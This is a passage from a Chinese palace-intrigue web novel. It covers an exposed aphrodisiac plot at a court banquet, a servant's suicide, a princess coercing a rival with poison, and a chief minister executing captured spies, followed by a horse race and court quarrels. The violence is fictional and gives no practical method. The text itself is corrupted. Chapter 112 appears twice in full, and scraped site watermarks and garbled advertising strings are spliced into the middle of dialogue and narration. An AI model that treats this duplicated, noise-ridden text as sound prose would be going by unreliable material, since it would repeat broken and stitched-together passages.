她放下茶盏,看向崔惜颜,又看了看霍承安:“两个孩子都是门当户对,又两情相悦,今日端午佳节,又是各国使臣的接风宴,再添一桩喜事何乐不为。” “皇上,哀家看不如你就下一道赐婚圣旨……” 话音未落,晏骁寒清冷的声音响起:“太后觉得,当着这么多人的面,闹出这样的事情,再谈风光大嫁,这赐婚圣旨,皇上应该如何写?” 太后端着茶盏的手一抖,茶水差点洒在她的身上。 众人看太后的眼神也变了,都说太后是东陵最尊贵最贤德的女人,当初为了东陵的太平盛世,竟然没有让自己的亲生儿子执掌江山,而是亲自扶持了励精图治有雄才大略的永平帝,这般心胸和仁善,世间少有。 如今,竟然为了母族的荣光,也要假公济私了吗? 太后不动声色的狠狠咬牙,该死的晏骁寒,竟然还要管别人的婚事么,未免手伸的也太长了。 这时,永平帝开口:“母后,儿臣诸事繁忙,不如您亲自下一道懿旨赐婚更为合乎情理。” 太后差点背过气去,永平帝这话里话外,不就是嫌弃崔惜颜与霍承安无媒苟合,名不正言不顺,不愿意下这道圣旨。 若是她亲自下了懿旨,这污名不就落在了她自己的身上。 太后没说话,目光深沉的看了信武侯夫人一眼。 信武侯夫人就算再不甘,也不得不亲自开口:“太后,皇上,皇后娘娘,就算惜颜和世子是被人算计的,但是终归不合情理,不如惜颜就暂且嫁给世子为侧妃,若是诞下子嗣再为正妃,也算合乎情理。” 崔惜颜泪流不止,一脸幽怨,她不明白,明明她可以做世子正妃,为什么又改成了侧妃? 这诞下子嗣之事说的倒是容易,而且,万一她生了孩子,依旧无法坐上正妃的位置可如何是好? 太后也不再提下旨赐婚之事,只道:“也好。” “既然此事已经解决,那大家就入席吧。”永平帝身边的贵公公开口道。 慕馨宁却忽然道:“别急啊,这点催情香的人还没查清楚,真相还没有大白,怎么能就这么算了,否则大家岂不是都怀疑本宫真的对霍承安有那种心思?” 第109章 只有一死 太后眸色沉了沉:“宁儿,这么多人都在,大家也没说这事情是你做的,你何必揪着不放?” 她这话说的,让大家对慕馨宁的印象更差了,好像慕馨宁如此坚持,就是在为自己欲盖弥彰。 慕馨宁被气笑了:“母后,就算这件事是儿臣揪着不放,儿臣也只是想证明自己的清白,再一个,崔惜颜和霍承安被人算计,这也总要揪出那个罪魁祸首才行,否则大家定也会怀疑,是崔惜颜自己点了催情香算计了霍承安。” 此话一出,皇后和安国公夫人对视一眼。 安国公夫人早就惴惴不安,自打皇后因为此事责备慕馨宁之后,晏骁寒看她一家的眼神都是阴沉沉的,她生怕因此晏骁寒针对国公府一家。 于是她连忙开口:“长公主说的对,这件事可不能就这么算了,一定要揪出那个幕后黑手!” 既然慕馨宁坚持,那这件事应该不是慕馨宁做的,国公夫人眼色一闪,朝着慕馨宁行了一礼:“之前事出突然,皇后情急之下误会了长公主,还请长公主恕罪,我国公府定会送上赔礼,聊表对长公主的歉意。” 慕馨宁看着安国公夫人,脸上的笑很淡:“国公夫人严重了。” 之前皇后一脸怒容指责她的时候,国公夫人可是一句话也没说,或许安国公夫人心里也是那么想的。 安国公夫人握了握手心,慕馨宁也没说跟不跟皇后和国公府计较,晏骁寒也未必就如此放过皇后和国公府。 她看了一眼晏骁寒依旧冷沉的脸,心里琢磨,国公府怕是要在赔礼上好好下下功夫了。 安国公夫人又一个劲儿的给皇后使眼色,皇后有什么不明白,当即扯出一抹笑来:“长公主,刚刚本宫也误会你了,你放心,本宫定会好好赔偿你的。” 慕馨宁张了张嘴,心头诧异,虽然她不是吃亏的主,但是为了顾全大局,并不打算在这里跟皇后和安国公夫人对上,本想着眼下的事情结束之后再算总账。 现在这二人主动跟她道歉,真是稀奇。 “这还得多谢晏首辅提点,不然我们大家都冤枉了好人,放过了坏人。” 安国公夫人这句话,慕馨宁终于反应过来,原来这母女二人主动跟她道歉,并不是觉得冤枉了她,而是因为晏骁寒。 晏骁寒只低头整理衣袖,连个眼神都不给安国公夫人,安国公夫人顿时一脸尴尬。 活了大半辈子,敢不给她好脸的,怕是只有晏骁寒一人了。 “首辅大人,事情查清楚了。” 那幕后的罪魁祸首还来不及慌张,刑部侍郎已经带着人从外头进来。 崔惜颜和信武侯夫人脸色一白,两个人腿一软,差点跌坐在地上。 比这二人惊慌的人影,连躲到了太后身后。 太后侧头看了那人一眼,一张脸当即阴沉下来。 “这种事情,还是私下说吧,没得让人看了笑话。”太后喝了口茶,镇定自若。 宋菀菀从她身后探出头来:“母后说的对,这么多人都在,传出去多不好。” 只要闲杂人等离开,就算刑部查出真相,有太后坐镇,一切就都好说了。 慕馨宁眼里闪过一抹嘲讽,当即开口道:“母后,左右大家也已经看了一场笑话,不差这一回了,否则这真相遮遮掩掩,大家还不知道怎么想呢。” 永平帝看了晏骁寒一眼,就开口:“刑部侍郎,可查出什么来了?” 刑部侍郎拱手:“禀皇上,这催情香,是出自宫外,应该是人从宫外头带进来的。” 信武侯夫人手心都是冷汗,笑着道:“今日接风宴,除了宫里的主子和下人,大家都是从宫外而来,这该如何查?” 刑部侍郎:“人无从查起,这催情香倒是有的查,这催情香药量浓重又经过特殊提炼,能制出这等催情香的,只有宫外的一处地方,红鸾阁……” 信武侯夫人脸又白了几分,崔惜颜也是一脸不安的样子。 刑部侍郎继续道:“两日前,信武侯府一个仆人乔装打扮去了红鸾阁,买的正是这种催情香。” 信武侯夫人身子晃了晃:“刑部侍郎,你胡说,你敢当着太后和皇上的面污蔑本夫人,简直是岂有此理!” 刑部侍郎拱手:“侯夫人,别急啊,下官可没说这件事就是您指使的,毕竟侯府人那么多。” 这么一句话,大家看信武侯夫人的脸色都变了,信武侯府这岂不是不打自招了。 “带上来。”刑部侍郎一回头,就有官差带着一个小二打扮的年轻人进来。 他环顾在场的众人,就看见一个婆子鬼鬼祟祟的躲在了信武侯夫人身后。 “就是她,虽然她那日带了面巾,但是无论是身形还是体态,还有她鬓角的白发跟那日的人一模一样!” 那婆子顿时面无血色,扑通一下跪在了地上。 信武侯夫人忽然咳嗽两声,那婆子身子一抖,就爬着到了永平帝跟前:“皇上,老奴有罪,是老奴悄悄带了催情香进来,老奴只是看小姐对世子情深义重,一片真心,却又因为被退了婚事愁眉不展茶饭不想,老奴是小姐的奶妈子,把小姐当成老奴的亲生女儿啊,老奴怎么能眼睁睁看着小姐患上相思病……” “嬷嬷,你怎么能做出这种事情,你让我在众人面前,情何以堪,将来怎么面对国公府一家啊!” 崔惜颜一脸痛心,怒不可遏的指着那个婆子。 信武侯夫人冲过去就狠狠给了那婆子一个耳光:“纹绣,你怎么能做出这种事,你……你简直是太让我寒心了……” 看着信武侯母女跟一个婆子演戏,慕馨宁冷笑连连,没有主子的授意,一个奴才怎么敢在宫里的接风宴上算计皇后的亲弟弟? 那婆子眼里闪过绝望,面如死灰:“夫人,老奴也是好心办了坏事,没想到闹成这样,老奴只有一死啊……” 说着,那婆子朝着一旁的柱子狠狠地撞了过去。 “快,拦住她!”永平帝连忙开口。 第110章 睡了你 今日宫宴,闹出这样的丑事不说,还出了人命,那他这个皇帝的脸面可是彻底没了。 只可惜,那婆子怀了必死之心,众人眼睁睁看着她血溅当场没了生息。 其实,也有侍卫反应快的,想要阻拦,只是崔惜颜不知是有意还是无意,挡住了他的路。 安国公夫人和皇后将眼前的一切尽收眼底,她们虽然什么也没说,但是心知肚明。 安国公夫人看着崔惜颜,嘴角的冷笑有些渗人。 一瞬的安静之后,永平帝才开口:“信武侯夫人御下不严,宫中竟然闹出如此丑事,闭门思过三月,信武侯罚俸三年。” 信武侯夫人面如土色,只能跪下:“臣妇多谢皇上开恩。” 事情就此解决,永平帝也算是松了一口气,但是依旧觉得有损天颜,但愿送行宴的时候,慕馨宁还能再给他找回一些颜面。 “既然此事已经解决,大家还是入席吧,朕与诸位定要继续把酒言欢,不醉不归!” 众人连忙附和,不再提刚刚发生的事情。 信武侯夫人和崔惜颜都暗暗松了一口气,无论如何,侯府和安国公府的婚事算是成了。 宴会上又添了几个节目,又上了一些新颖的吃食,气氛又渐渐有了欢声笑语。 有心人却发现,虞文茵和虞老夫人不见了踪影,却并未有人提及。 此时,一处僻静的宫殿,虞老夫人狼狈的躺在地上,浑身上下能动的,只有那双眼睛和那张嘴,可就算她那张嘴张张合合个不停,却没发出一点声音。 慕馨宁坐在首位,看着浑身是血的虞文茵,嘴角的笑冷的渗人。 虞文茵颤抖着身子,脸色苍白:“慕馨宁,你敢杀我吗,你不敢!” 她好歹也是虞放的嫡女,虞放还在边关为慕馨宁卖命,慕馨宁定不敢对她下毒手。 慕馨宁冷笑一声:“本宫不会杀你,但是让你生不如死的法子有的是,你的好祖母,不就是活生生的例子?” 要是没有虞老夫人,虞文茵也不会跟太后一起算计她。 这个老东西打她一顿慕馨宁都觉得浪费体力,直接一颗药丸,让她后半辈子只能安安静静的在床上度过了。 虞文茵看着虞老夫人的样子,顿时有了尿意,她要是和虞老夫人一样一动不能动,确实是生不如死。 慕馨宁起身,缓缓踱步到虞文茵跟前:“你不会以为,事已至此,太后还能来救你吧?” 虞文茵咬唇,一言不发。 慕馨宁冷笑一声:“你一没有靠山,二没有能力,三么,也没一张漂亮的脸蛋,你觉得太后凭什么还救你这个废物?” 虞文茵仅有的一点傲气,被慕馨宁击的粉碎。 她一屁股跌坐在地上:“我不想死,慕馨宁,你放过我吧……” 慕馨宁弯腰,手落在她的肩膀,指腹却狠狠地按在了虞文茵的伤口上。 虞文茵疼的痛呼一声,惨白着脸扯着慕馨宁的衣摆连连求饶:“慕馨宁,我再也不敢了,再也不敢了,你原谅我,饶我一命……求求你了……” 慕馨宁挑眉:“你觉得,你这条命,值几斤几两?” 虞文茵张了张嘴,眼里闪过什么:“这一切,都是宋菀菀让我做的,我不能帮你对付太后,对付宋菀菀肯定可以的……” 慕馨宁嘴角上扬,这人倒也不是无药可救。 “吃下去。”慕馨宁的手心,多了一粒褐色的药丸。 “这是什么……”虞文茵没伸手,不解的看着慕馨宁。 慕馨宁不说话,看她的目光越来越冰冷。 虞文茵一个哆嗦,还是硬着头皮将那颗药丸吞下了。 “这药,叫断肠丹,十二个时辰之内,没有解药,那你就会断肠而亡。” 虞文茵大惊失色,本能的伸手抠自己的喉咙,可是看着慕馨宁越来越阴沉的脸,不得不停下手来。 那毒药入口即化,她是抠不出来的。 “等宴会散了,你去找太后,说你到了出阁的年纪,想要嫁一个好人家。” 虞文茵张了张嘴,一脸震惊,因为这件事,太后就曾提过,只是不知太后给她安排的是什么样的人家。 “是。” “你要嫁的,是易王。” 虞文茵原本心如死灰,她以为,慕馨宁给她安排的,不是个七老八十的糟老头子,就是个有特殊癖好又狠辣好色的男人。 易王,是她做梦都不敢想的人物。 “这怎么可能?”虞文茵拼命摇头。 易王可是太后最宠爱的小儿子,她这样的人,给易王提鞋都不配,太后怎么可能会同意。 慕馨宁很满意虞文茵的自知之明:“怕什么,你告诉太后,你不但可以对付本宫,将来还可以拿到虞放手里的兵符,太后会同意的,至少会让你做个侧妃。” 虞文茵只有一瞬间的高兴,一想起肚子里的那颗毒药,她就高兴不起来了。 随即,她的心思又活泛起来。 慕馨宁怎么会看不出她的心思:“不要想那些不切实际的事情,我的人会全天守在你身边,你若是敢违背本宫,本宫会让你死无葬身之地。” 虞文茵心头一紧,连忙磕头:“是,我知道了,我肯定乖乖听话。” 慕馨宁满意的点头。 宴会结束,一众人等,纷纷离宫。 慕馨宁刚上马车,发现里头多了个人影,吓了一跳。 “干什么!”看清来人,她松了口气,拍了拍狂跳不止的胸口。 “怎么,不然你以为是谁,霍承安?” 慕馨宁没骨头一样靠在马车角落:“你怎么跟个怨妇一样,这还是人人敬重的首辅大人吗?” 昏暗的光线下,晏骁寒翻了一页慕馨宁新弄出来的话本子,嘴角扯过一抹冷笑:“我记得,三年前,你确实扬言要把霍承安收入房中的。” 慕馨宁一脸无奈,嘁了一声:“我扬言,我扬言的事情多了,我还扬言睡了你,然后一统天下呢。” 晏骁寒:“以后多吃些安眠的汤药,或许这个愿望很快就要实现了。” 慕馨宁盯着他那张俊脸,狠狠磨牙:“……你狠!” 马车一路摇摇晃晃,慕馨宁不知道什么时候睡了过去。 晏骁寒看着紧抱着自己的手臂睡的香甜的女人,原本冷淡的目光逐渐柔和。 “主子,到了。” 外头响起鸦羽的声音,慕馨宁一睁眼,发现自己竟然靠在晏骁寒怀里。 晏骁寒眉头紧蹙,一脸嫌恶的看着他自己的身前。 慕馨宁定睛一瞧,发现他胸前的衣襟一片水渍,是她的口水。 慕馨宁一脸尴尬:“我让人给你洗洗?” 晏骁寒深邃的目光看着她,脸色阴沉下来:“别的男人,你一开口就是几十万两白银,到本官这里,只是给本官洗一件衣裳?” 第111章 血流成河 慕馨宁真是不知道说什么好了,不过想起今日晏骁寒帮了她不少忙,若不是他出面,被太后和宋菀菀算计的事情,她怕是也不好脱身。 于是,她便道:“过些日子我要是不忙了,我亲自给你设计几身衣裳,这样可以吧?” 晏骁寒:“只有本官?” 慕馨宁:“……啊。” 男人难看的脸色瞬间缓和,仿佛又多了两分如沐春风。 看样子,他心情很好。 慕馨宁磨磨蹭蹭也不下马车,盯着俊脸上那张棱角分明的薄唇,吞了吞口水:“那个……亲口行不行?” 晏骁寒:“你觉得呢?” 慕馨宁脸不红心不跳,一脸认真的点头:“我觉得行!” 晏骁寒没有说话,随手又翻了一页书。 慕馨宁觉得有戏,毕竟是这厮主动上了她的马车,那她就应该‘趁人之危’。 慕馨宁拍了拍砰砰跳个不停的胸口,掏了个帕子擦了擦自己的嘴,然后又去擦晏骁寒的。 晏骁寒只看了她一眼,那眼神里大有警告之意:“嫌我脏?” 慕馨宁随手将帕子丢到一边,傻笑道:“不敢。” 就在她调整好姿势之后,刚要一亲芳泽,晏骁寒好看的薄唇轻启:“这次接风宴你办的不错,若是送行宴也能别出心裁,可想好找皇上要什么赏赐了?” 慕馨宁原本心潮澎湃,就等着‘大干一场’,如今晏骁寒这么一问,她顿时没了兴趣。 她想回封地,但是她也看出来了,永平帝心眼小,不会轻易答应的。 即使她在各国使臣面前提及,让永平帝下不来台不得不答应,可是晏骁寒这厮定会有法子化解,到时候难堪的还是她。 “到时候再说吧。” 慕馨宁说完,转身下了马车:“送晏首辅回府。” 看着慕馨宁的人影消失在门口,晏骁寒阴沉的脸色,大有暴风雨来临前的恐怖。 这个女人,一边撩拨他,一边又想着回封地,把他当什么? 晏骁寒一回府,离夜已经一脸严肃的等在府门口。 “大人,那些个在宴会上捣鬼作乱的人,您打算如何处理?” 今日的接风宴办的很顺利,不只是慕馨宁精心的安排,还有晏骁寒的功劳。 太后和宋菀菀等人不会坐以待毙,任由慕馨宁在宴会上出风头,就连勤王府和信武侯府也出动了,幸好晏骁寒未卜先知,提前安排了人盯着。 那些人要么就是出师未捷就被抓,要么就是当场被抓了现行,不过晏骁寒并未惊动任何人。 “人在哪里。” “刑部。” 晏骁寒到了刑部地牢,牢里已经是人满为患了。 “还真是热闹。”晏骁寒环顾牢房里老老少少、装扮各异的人,冷笑一声。 “晏首辅明察,奴才什么也没做,您就放了奴才吧!” “晏首辅,杂家可是太后的人,只是例行公事,听从太后娘娘的安排巡查御膳房,您怎么能把杂家也抓来?” “首辅大人,奴婢是皇后娘娘身边的大宫女……” 大家你一言我一语,通过自己的三寸不烂之舌,极力证明自己的清白,想要脱罪。 但是晏骁寒的人不可能抓错,他们只是在狡辩而已。 晏骁寒剑眉微蹙:“也不用再审,谁派的人,就送回谁的身边。” 众人还以为晏骁寒是打算放他们离开,不等高兴,冒着寒光的剑起起落落,一个个惊恐的瞪大双眼。 有的人惨叫都来不及,有的人拼命躲避,最终也没逃过那方寸之地。 晏骁寒面色冷淡,用帕子擦了擦侧脸被溅上的血迹,一步一步走过血流成河的地面,犹如地狱而来的罗刹。 跟在身后的即墨见他如此,都有些惧怕,故意放慢了脚步。 自打自家主子从公主府回来,脸色就很难看,现在看起来更吓人了,也不知道长公主怎么把人给气成这样。 真怕自家主子一个不高兴,他也要遭受鱼池之殃。 “大人,还有一批人,并不是东陵人。”离夜冷肃着脸,如实禀报。 晏骁寒冷若冰霜的脸上,扯过一丝渗人的冷笑:“好好审,定要从他们嘴里撬出点东西来。” “是。” 这一夜,慕馨宁抱着被子睡的很香。 但是皇宫和好些权贵人家,尖叫连连,不是在喊“杀人了”就是在喊“救命”。 太后原本正在和一个皮相不错的年轻男子颠鸾倒凤,不经意看见地上快要堆成小山的死人,吓得尖叫连连,紧紧抓着身上男子的肩膀。 那男子还以为是自己表现好,太后爽翻了,于是更加卖力。 他已经开始做升官发财的美梦,见太后盯着一个方向魂儿都要丢了,所以就侧头看了一眼,随即他惨叫一声,整个人就瘫软下去。 “太后娘娘,不好了,惠明公主受到惊吓,昏过去了……” 太后咬牙强撑着眼皮,拼命提着那一口气才没晕过去,听见外头的声音,差点没吐出一口老血来。 勤王府。 此时,南阳郡主脸色惨白的坐在椅子上,身子还不停的打着摆子。 勤王妃看着地上死不瞑目的宫女,也是脸色惨白。 她知道自家女儿对长公主的怨恨,所以不但没有阻止南阳收买宫女陷害慕馨宁,她还亲自替南阳完善各个细节,她本以为天衣无缝,没想到…… 啪啪啪,几个耳光声响彻整个房间。 南阳被打的脸都肿了,吓丢的魂魄才渐渐找了回来:“父王……您竟然打我?” 勤王阴沉着一张脸:“因为你该打,本王警告过你们多少回,不要招惹长公主,你们偏偏不听!” 勤王妃脸色难看:“她不过就是一个臭名昭著无才无德的浪荡女人而已,她那么欺辱我们,我们趁机给她点教训怎么了!” 天知道自打被慕馨宁嘲讽羞辱之后,这窝囊气她忍了多久,好不容易有个对付慕馨宁的机会,她怎么能错过! 勤王怒不可遏的指着勤王妃的鼻子:“无才无德,她要是什么也不是,你们怎么会吃了她的亏,现在她怎么悄无声息的把死人送到了这里!” 第112章 喜新厌旧,人之常情 第112章 喜新厌旧,人之常情 勤王妃和南阳郡主顿时哑口无言。鸿特晓说王 吾错内容 勤王的目光又落在南阳郡主身上,然后问勤王妃:“她的婚事商讨的怎么样了?” 南阳郡主一个哆嗦:“父王……” 勤王抬起巴掌,又想扇在南阳郡主的脸上,又想起这毕竟是自己从小宠到大的女儿,最后只能气愤的收回手:“婚事明日就要定下来,三个月之内必须成婚!” 瞧瞧他这个好女儿,为了一个晏骁寒做出了多少出格的事情,真是气死他了! “不……我不嫁!”南阳郡主满脸泪水,气急败坏。 勤王冷哼一声:“好啊,你若是不嫁,那本王只能求皇上亲自给你指婚了,正巧各国使臣都盼着和东陵联姻,让皇上晋你做公主,你就嫁到千百里之外,到死也未必回一次王府!” 说完,勤王一甩衣袖,怒气冲冲的离开, 母女两个当即抱头痛哭。 次日,天色有些阴沉,看样子是要下雨。 可是慕馨宁还是早早的起床了。 “主子,您是不是安排了今日的马赛,可是这天气怕是要下雨吧,不然还是算了吧。?齐[&盛>小<说2,网{·+ o追?÷最·[}新u章?¤?节?£[”杜若一边给慕馨宁梳头一边开口。 慕馨宁摆弄着匣子里的发簪,无奈道:“那怎么行,各国使臣都等着,下雨也有下雨的意境,让人多备一些油纸伞和其他雨具。” 她只管安排各国使臣的吃喝玩乐,至于国之大事,就看永平帝和晏骁寒了。 慕馨宁吃了早饭,出门的时候就看见伊吾和琉球的使臣等在门口。 他们见了慕馨宁,礼貌的打招呼。 伊吾的公主卓娜笑着上前:“听说昨日的接风宴是长公主亲自安排的,不仅宴席上的膳食好吃,歌舞表演也别具一格,尤其是那个枯木生花,简直是太震撼了,我也想学,你能不能教教我?” 慕馨宁笑着点头:“伊吾公主什么时候有时间,本宫便差人教你。” 伊吾公主亲昵的挽住慕馨宁的胳膊,眼睛转了转:“还有那个侠士唱的那首曲子,我也觉得特别好听,你能不能也让他教教我?” 看着伊吾公主面上闪过的绯红,慕馨宁嘴角上扬:“好啊。” 琉球的王子也上前跟慕馨宁客套了两句,慕馨宁觉得这两日也应该在公主府办一场宴会,尽一尽地主之谊才行。 慕馨宁抽空,写了几个人名,之前她就和永平帝提过此事,想必永平帝不会拒绝。(a?零?点{??看x+书?/¤ ¥,最^?°新?°?章^节-′!更¥{+新_快a 原本她是打算待送行宴结束之后再要人,如今还是觉得应该‘先发制人’才行,免得到时候永平帝后悔。 “主子您看!” 马车里正朝着赛马场的方向走,慕馨宁刚放下手里的笔,杜若惊呼一声。 慕馨宁顺着她挑起的车帘看去,就见远处的安国公府门口停了一顶暗红色的小轿。 慕馨宁诧异:“谁要纳妾?” 鸦羽打马靠近,压低了声音:“国公夫人给安世子挑了一房小妾,是她母族的侄女,今日入府。” 这妾室不是一般都要下午才从后门入府么,这一大早上的,而且如此大张旗鼓的走正偏门,估计是故意给信武侯夫人和崔惜颜添堵呢。 慕馨宁似笑非笑:“霍承安还真是好福气。” 她话音刚落,就见霍承安打马从府里出来,与刚进门的那顶小轿擦肩而过。 慕馨宁收回目光,杜若也连忙放下车帘,可是霍承安却打马到了马车跟前。 “昨日的接风宴你办的很好,以后我还要多向你学习才是。”霍承安勒紧缰绳,对马车里的慕馨宁开口。 他原本是期待慕馨宁办事不顺有了麻烦,然后求他出面为她收拾烂摊子的,没想到慕馨宁倒是面面俱到,有了麻烦在众人面前除了丑的,成了他自己。 慕馨宁合上面前的折子挑起另一侧的车帘递给鸦羽,这才又看向另一侧的霍承安。 “还没恭喜你抱得美人归,本宫是不是应该准备两份贺礼?” 霍承安看着她挑起车帘的素手,脑海里闪过她弹琴的模样,语气温和:“我并不喜欢她们,一个也不喜欢。” 慕馨宁翻白眼,他喜欢谁不喜欢谁,跟她有什么关系。 见慕馨宁一副无所谓的样子,霍承安的眼里闪过一抹失落,忽然问道:“听说你之前只独宠夏千川一人,如今有了晏首辅,是不是早就把他忘了?” 慕馨宁皱眉,不知道霍承安提起夏千川做什么,再说夏千川当初被挂在宫门墙上的事情,整个京城的人都知道。 慕馨宁一脸云淡风轻:“喜新厌旧,人之常情,世子爷不是正在经历么?” 霍承安还想说什么,慕馨宁已经放下了车帘。 他握着缰绳的手青筋暴起,喜 新厌旧,真是好的很! 到了马场,天上就已经开始在下毛毛雨。 即使天气不好,依旧没有阻挡大家的热情。 今日马赛,永平帝出了彩头,慕馨宁作为接待各国使臣的皇室代表,当然也要添上一笔。 “长公主,皇上的彩头可是芙蓉石蟠螭耳盖炉,您的彩头只是一颗夜明珠,是不是有些不妥?” 说这话的,是华太尉家的嫡女,易王的未婚妻,华丽妍。 要说晏骁寒一人之下万人之上,能与晏骁寒抗衡几分的,也就是这个华太尉了。 这华丽妍即将嫁给太后最宠爱的小儿子易王,对太后而言,无异于如虎添翼。 慕馨宁端详华丽妍两眼:“听说你病了许久,这是好多了吧?” 病刚好,就跟她对着干,真是好的很。 “长公主这是在关心我吗,不过我为什么病了一场,您还不清楚?” 慕馨宁仔细回想了一下,也没记起来,毕竟她重活一世,很多事情也记得不太清楚了。 这时,华丽妍身后的丫鬟拔高了声音:“太后娘娘寿辰宴上,您故意将我家县主给太后娘娘准备的寿辰礼丢进了湖里,我家县主情急之下亲自跳进了湖水里,不但差点被淹死,还得了一场严重的风寒,长公主您这都忘了?” 第112章 喜新厌旧,人之常情 勤王妃和南阳郡主顿时哑口无言。鸿特晓说王 吾错内容 勤王的目光又落在南阳郡主身上,然后问勤王妃:“她的婚事商讨的怎么样了?” 南阳郡主一个哆嗦:“父王……” 勤王抬起巴掌,又想扇在南阳郡主的脸上,又想起这毕竟是自己从小宠到大的女儿,最后只能气愤的收回手:“婚事明日就要定下来,三个月之内必须成婚!” 瞧瞧他这个好女儿,为了一个晏骁寒做出了多少出格的事情,真是气死他了! “不……我不嫁!”南阳郡主满脸泪水,气急败坏。 勤王冷哼一声:“好啊,你若是不嫁,那本王只能求皇上亲自给你指婚了,正巧各国使臣都盼着和东陵联姻,让皇上晋你做公主,你就嫁到千百里之外,到死也未必回一次王府!” 说完,勤王一甩衣袖,怒气冲冲的离开, 母女两个当即抱头痛哭。 次日,天色有些阴沉,看样子是要下雨。 可是慕馨宁还是早早的起床了。 “主子,您是不是安排了今日的马赛,可是这天气怕是要下雨吧,不然还是算了吧。?齐[&盛>小<说2,网{·+ o追?÷最·[}新u章?¤?节?£[”杜若一边给慕馨宁梳头一边开口。 慕馨宁摆弄着匣子里的发簪,无奈道:“那怎么行,各国使臣都等着,下雨也有下雨的意境,让人多备一些油纸伞和其他雨具。” 她只管安排各国使臣的吃喝玩乐,至于国之大事,就看永平帝和晏骁寒了。 慕馨宁吃了早饭,出门的时候就看见伊吾和琉球的使臣等在门口。 他们见了慕馨宁,礼貌的打招呼。 伊吾的公主卓娜笑着上前:“听说昨日的接风宴是长公主亲自安排的,不仅宴席上的膳食好吃,歌舞表演也别具一格,尤其是那个枯木生花,简直是太震撼了,我也想学,你能不能教教我?” 慕馨宁笑着点头:“伊吾公主什么时候有时间,本宫便差人教你。” 伊吾公主亲昵的挽住慕馨宁的胳膊,眼睛转了转:“还有那个侠士唱的那首曲子,我也觉得特别好听,你能不能也让他教教我?” 看着伊吾公主面上闪过的绯红,慕馨宁嘴角上扬:“好啊。” 琉球的王子也上前跟慕馨宁客套了两句,慕馨宁觉得这两日也应该在公主府办一场宴会,尽一尽地主之谊才行。 慕馨宁抽空,写了几个人名,之前她就和永平帝提过此事,想必永平帝不会拒绝。(a?零?点{??看x+书?/¤ ¥,最^?°新?°?章^节-′!更¥{+新_快a 原本她是打算待送行宴结束之后再要人,如今还是觉得应该‘先发制人’才行,免得到时候永平帝后悔。 “主子您看!” 马车里正朝着赛马场的方向走,慕馨宁刚放下手里的笔,杜若惊呼一声。 慕馨宁顺着她挑起的车帘看去,就见远处的安国公府门口停了一顶暗红色的小轿。 慕馨宁诧异:“谁要纳妾?” 鸦羽打马靠近,压低了声音:“国公夫人给安世子挑了一房小妾,是她母族的侄女,今日入府。” 这妾室不是一般都要下午才从后门入府么,这一大早上的,而且如此大张旗鼓的走正偏门,估计是故意给信武侯夫人和崔惜颜添堵呢。 慕馨宁似笑非笑:“霍承安还真是好福气。” 她话音刚落,就见霍承安打马从府里出来,与刚进门的那顶小轿擦肩而过。 慕馨宁收回目光,杜若也连忙放下车帘,可是霍承安却打马到了马车跟前。 “昨日的接风宴你办的很好,以后我还要多向你学习才是。”霍承安勒紧缰绳,对马车里的慕馨宁开口。 他原本是期待慕馨宁办事不顺有了麻烦,然后求他出面为她收拾烂摊子的,没想到慕馨宁倒是面面俱到,有了麻烦在众人面前除了丑的,成了他自己。 慕馨宁合上面前的折子挑起另一侧的车帘递给鸦羽,这才又看向另一侧的霍承安。 “还没恭喜你抱得美人归,本宫是不是应该准备两份贺礼?” 霍承安看着她挑起车帘的素手,脑海里闪过她弹琴的模样,语气温和:“我并不喜欢她们,一个也不喜欢。” 慕馨宁翻白眼,他喜欢谁不喜欢谁,跟她有什么关系。 见慕馨宁一副无所谓的样子,霍承安的眼里闪过一抹失落,忽然问道:“听说你之前只独宠夏千川一人,如今有了晏首辅,是不是早就把他忘了?” 慕馨宁皱眉,不知道霍承安提起夏千川做什么,再说夏千川当初被挂在宫门墙上的事情,整个京城的人都知道。 慕馨宁一脸云淡风轻:“喜新厌旧,人之常情,世子爷不是正在经历么?” 霍承安还想说什么,慕馨宁已经放下了车帘。 他握着缰绳的手青筋暴起,喜 新厌旧,真是好的很! 到了马场,天上就已经开始在下毛毛雨。 即使天气不好,依旧没有阻挡大家的热情。 今日马赛,永平帝出了彩头,慕馨宁作为接待各国使臣的皇室代表,当然也要添上一笔。 “长公主,皇上的彩头可是芙蓉石蟠螭耳盖炉,您的彩头只是一颗夜明珠,是不是有些不妥?” 说这话的,是华太尉家的嫡女,易王的未婚妻,华丽妍。 要说晏骁寒一人之下万人之上,能与晏骁寒抗衡几分的,也就是这个华太尉了。 这华丽妍即将嫁给太后最宠爱的小儿子易王,对太后而言,无异于如虎添翼。 慕馨宁端详华丽妍两眼:“听说你病了许久,这是好多了吧?” 病刚好,就跟她对着干,真是好的很。 “长公主这是在关心我吗,不过我为什么病了一场,您还不清楚?” 慕馨宁仔细回想了一下,也没记起来,毕竟她重活一世,很多事情也记得不太清楚了。 这时,华丽妍身后的丫鬟拔高了声音:“太后娘娘寿辰宴上,您故意将我家县主给太后娘娘准备的寿辰礼丢进了湖里,我家县主情急之下亲自跳进了湖水里,不但差点被淹死,还得了一场严重的风寒,长公主您这都忘了?” 第113章 一掌吐血 此话一出,众人的目光齐刷刷的落在了慕馨宁的身上。 经过这小丫鬟一提点,慕馨宁终于是记起来了。 东西确实是她命人丢进湖里的,还不是因为这个华丽妍仗着自己是易王的未婚妻,对她出言不敬,又说她送给太后的寿礼是脏东西,所以她盛怒之下才那样做的。 重活一世,慕馨宁回想上一世的自己,觉得自己真是太单纯了。 华丽妍故意刺激她,就是因为华丽妍给太后准备的稀世珍宝不小心被打碎了,但是那寿礼太过于珍贵无法替代,于是就找了慕馨宁这个替罪羊。 所以,华丽妍不但对太后出手大方,又成了受害者,可是得了众人的一番夸赞和同情。 就是因为这件事,太后才更加记恨慕馨宁了。 “哎呀,丽妍姐姐人都瘦了一圈,这些日子怕是没少受苦,我听说你还发了高热,差点没挺过来,真是让人心疼。”宋菀菀不知道什么时候挤进了人群,说着说着,她还红了眼睛。 有宋菀菀这话,众人又回想起当初那件事,顿时对慕馨宁厌恶至极,对华丽妍有多了几分惺惺相惜。 毕竟在场的众人,慕馨宁得罪了一大半。 慕馨宁目光冰冷的看着宋菀菀,接风宴上因为崔惜颜奶娘一死,宋菀菀逃过一劫,她现在应该很得意吧。 且让她再多蹦跶两天吧,她很快就得意不起来了。 “这里是不是有什么误会,长公主应该不是这样的人吧。”赫连儒看了热闹,还不忘见缝插针。 慕馨宁是拿了他的短处,她也无法再针锋相对,但是偶尔恰到好处的为慕馨宁‘辩驳’几句,也是应该。 众人都等着慕馨宁一个完美的解释,仿佛如果慕馨宁无法证明自己的清白,这件事就过不去了一样。 